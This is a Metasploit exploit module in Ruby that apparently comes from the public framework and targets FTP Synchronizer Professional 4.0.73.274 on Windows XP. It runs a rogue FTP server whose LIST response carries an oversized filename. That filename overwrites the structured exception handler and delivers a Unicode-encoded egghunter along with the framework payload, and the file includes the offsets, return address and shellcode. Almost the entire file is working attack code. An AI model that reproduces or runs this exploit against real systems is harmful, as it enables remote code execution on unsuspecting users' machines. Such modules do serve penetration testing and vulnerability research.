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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro
version 4.0.73.274 The overflow gets triggered by sending an overly long filename to
the client in response to a LIST command.
The LIST command gets issued when doing a preview or when you have just created a new
sync profile and allow the tool to see the differences.
This will overwrite a structured exception handler and trigger an access violation.
},
'Author' =>
[
'myne-us', #found the bug
'corelanc0d3r <peter.ve[at]corelan.be>' #wrote the exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x2f\x5c",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP Universal', { 'Offset' => 854, 'Ret' => "\x2D\x78" } ], # p/p/r FTPSynchronizer.exe
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
totalsize = 4000
foldername = "A" * target['Offset']
nseh = "\x61\x42"
seh = "\x2D\x78"
sehpad = "\x44\x62"
align = "\x53\x62\x58\x62"
align << "\x40\x62"
align << "\x05\x11\x10\x62"
align << "\x2d\x10\x10\x62"
padding = ("\x42\x62" * 53) + ("\x48\x62")
#basereg EAX, Unicode encoded egghunter
hunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ"
hunter << "ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX"
hunter << "A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
hunter << "BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4"
hunter << "4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"
buffer = foldername + nseh + seh + sehpad + align + padding + hunter
junk = "D" * (totalsize-buffer.length)
buffer << junk
print_status(" - Sending directory list via data connection")
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{"w00tw00t"+payload.encoded}\r\n"
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"
conn.put("total 2\r\n"+dirlist)
print_status(" - Payload sent, wait for hunter...")
conn.close
return
end
end